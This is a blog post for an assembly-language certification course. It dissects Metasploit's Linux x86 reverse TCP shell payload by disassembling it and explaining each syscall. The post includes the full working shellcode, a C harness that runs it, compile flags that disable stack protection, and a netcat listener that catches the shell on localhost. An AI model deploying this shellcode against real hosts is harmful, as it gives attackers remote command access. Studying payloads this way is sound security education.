SLAE-473 ASSIGNMENT #5-1 msfpayload linux/x86/shell_reverse_tcp Analysis

INTRODUCTION

This tutorial is part of the SecurityTube Linux Assembly Expert certification.

The goal of this assignment is to take three x86/Linux shellcode samples from Metasploit’s Msfpayload tool, use GDB/Ndisasm/Libemu to dissect their functionality and present an analysis.

For this blog post I will be specifically analyzing the linux/x86/shell_reverse_tcp payload.

The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the project’s Github repo.

This assignment will build from the previous assignments and so will not be reiterating explanations already covered there.

Methodology

  1. Obtain as much information about the payload as possible through documentation. How does it work, expected parameters, end result once detonated
  2. Analyze payload using ndisasm
  3. Test shellcode

Payload Information

We can obtain a summary on the payload by passing the S for summary switch to msfpayload

$ msfpayload linux/x86/shell_reverse_tcp S
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

 Name: Linux Command Shell, Reverse TCP Inline
 Module: payload/linux/x86/shell_reverse_tcp
 Platform: Linux
 Arch: x86
Needs Admin: No
 Total size: 190
 Rank: Normal

Provided by:
 Ramon de C Valle <rcvalle@metasploit.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.244.130 yes The listen address
LPORT 4444 yes The listen port

Description:
 Connect back to attacker and spawn a command shell

We can see the payload target platform and architecture is Linux x86.

The size is 190 bytes.

The payload accepts two parameters, LHOST and LPORT, which are required. We can assume that these parameters are used to specify the destination host for the network connection.

We can confirm from the description that the payload is in fact a reverse shell.

Analyze using ndisasm

Msfpayload allows the user to specify different output formats of the payload, such as raw machine code, Dll, Python, etc. We are interested in the raw option which allows us to then feed into ndisasm for disassembly.

Note: “ndisasm only disassembles binary files: it has no understanding of  the header  information present in object or executable files.”

So, let’s generate the payload using msfpayload, specify the host for the reverse shell to connect to as ‘127.0.0.1’ and the TCP port number as ‘4444’. The output format is ‘R’ for raw binary which is piped into ndisasm. ndisasm will expect the binary to be in the 32bit architecture.

$ msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R|ndisasm -b 32 -
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80
0000000F 93 xchg eax,ebx
00000010 59 pop ecx
00000011 B03F mov al,0x3f
00000013 CD80 int 0x80
00000015 49 dec ecx
00000016 79F9 jns 0x11
00000018 687F000001 push dword 0x100007f
0000001D 680200115C push dword 0x5c110002
00000022 89E1 mov ecx,esp
00000024 B066 mov al,0x66
00000026 50 push eax
00000027 51 push ecx
00000028 53 push ebx
00000029 B303 mov bl,0x3
0000002B 89E1 mov ecx,esp
0000002D CD80 int 0x80
0000002F 52 push edx
00000030 682F2F7368 push dword 0x68732f2f
00000035 682F62696E push dword 0x6e69622f
0000003A 89E3 mov ebx,esp
0000003C 52 push edx
0000003D 53 push ebx
0000003E 89E1 mov ecx,esp
00000040 B00B mov al,0xb
00000042 CD80 int 0x80

The quickest method to analyze the shellcode’s behaviour would be to run it in some kind of sandbox environment and maybe run strace for syscalls and gdb. For now we will take a cursory look over the disassembly output and identify syscalls() which should give us a warm and fuzzy feeling that nothing untoward will happen to us (famous last words).

To assist me in identifying the syscalls as quickly as possible I am going to use this site http://syscalls.kernelgrok.com/ which essentially is using grok on the Linux kernel headers.

00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80

First search is for syscall x66 and we get

# Name Registers Definition
eax ebx ecx edx esi edi
102 sys_socketcall 0x66 int call unsigned long __user *args net/socket.c:2210

We know that socketcall() has subcalls and parameters which are specified by placing the subcall number into the EBX register and parameters onto the program stack. EBX contains 1. We see three pushes, 0, 1, 0x2. These match up with what we know from assignment #1 and the socket() call. We can expect a socket file descriptor to be returned in EAX on success.

0000000F 93 xchg eax,ebx
00000010 59 pop ecx
00000011 B03F mov al,0x3f
00000013 CD80 int 0x80

We search for syscall 0x3f

# Name Registers Definition
eax ebx ecx edx esi edi
63 sys_dup2 0x3f unsigned int oldfd unsigned int newfd fs/fcntl.c:116

Again we know from assignments #1 and #2 that dup2() will be used to redirect stdin, stdout, stderror.

00000015 49 dec ecx
00000016 79F9 jns 0x11

The above loop confirms that dup2() is called 3 times, 2, 1, and 0 are placed in ECX.

00000018 687F000001 push dword 0x100007f
0000001D 680200115C push dword 0x5c110002
00000022 89E1 mov ecx,esp
00000024 B066 mov al,0x66
00000026 50 push eax
00000027 51 push ecx
00000028 53 push ebx
00000029 B303 mov bl,0x3
0000002B 89E1 mov ecx,esp
0000002D CD80 int 0x80

We can see EAX will contain 0x66 again for a socketcall() and EBX contains 0x3 matching with the connect() call. This means socketaddr structure needs to be specified that contains the IP and Port numbers of the host to connect to. We see 0x100007f = 1d 0d 0d 127d matching our 127.0.0.1 parameter and 0x5c11002 = 115ch = 4444 for our port number.

0000002F 52 push edx
00000030 682F2F7368 push dword 0x68732f2f
00000035 682F62696E push dword 0x6e69622f
0000003A 89E3 mov ebx,esp
0000003C 52 push edx
0000003D 53 push ebx
0000003E 89E1 mov ecx,esp
00000040 B00B mov al,0xb
00000042 CD80 int 0x80

Last but not least this syscall has eax loaded with 0x0000000b and we see that this is execve(). We would expect a string on the stack to specify which program will be spawned once a connection is made. 0x68732f2f = hs// and nib/ = /bin//sh. Perfect.

Testing

We’ll change the msfpayload output to c for easy input into our c shellcode template for testing.

$ msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 c
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************
/*
 * linux/x86/shell_reverse_tcp - 68 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=127.0.0.1, LPORT=4444, 
 * ReverseConnectRetries=5, ReverseListenerBindPort=0, 
 * ReverseAllowProxy=false, ReverseListenerThreaded=false, 
 * PrependFork=false, PrependSetresuid=false, 
 * PrependSetreuid=false, PrependSetuid=false, 
 * PrependSetresgid=false, PrependSetregid=false, 
 * PrependSetgid=false, PrependChrootBreak=false, 
 * AppendExit=false, InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

Final shellcode test file.

#include<stdio.h>
#include<string.h>

/*
 * linux/x86/shell_reverse_tcp - 68 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=127.0.0.1, LPORT=4444, 
 * ReverseConnectRetries=5, ReverseListenerBindPort=0, 
 * ReverseAllowProxy=false, ReverseListenerThreaded=false, 
 * PrependFork=false, PrependSetresuid=false, 
 * PrependSetreuid=false, PrependSetuid=false, 
 * PrependSetresgid=false, PrependSetregid=false, 
 * PrependSetgid=false, PrependChrootBreak=false, 
 * AppendExit=false, InitialAutoRunScript=, AutoRunScript=
 */
unsigned char code[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}

Compile shellcode

$ gcc -o ./reverse_bind_shellcode_skeleton reverse_bind_shellcode_skeleton.c -fno-stack-protector -z execstack

Start netcat listener to wait for reverse shell

$ nc -lvvp 4444
listening on [any] 4444 ...

Run shellcode

$ ./reverse_bind_shellcode_skeleton

And reverse shell connection is complete

$ nc -lvvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 53494
id
uid=1000(remote) gid=1001(remote) groups=1001(remote)
exit
 sent 8, rcvd 54

Thank you


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-473


One thought on “SLAE-473 ASSIGNMENT #5-1 msfpayload linux/x86/shell_reverse_tcp Analysis

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s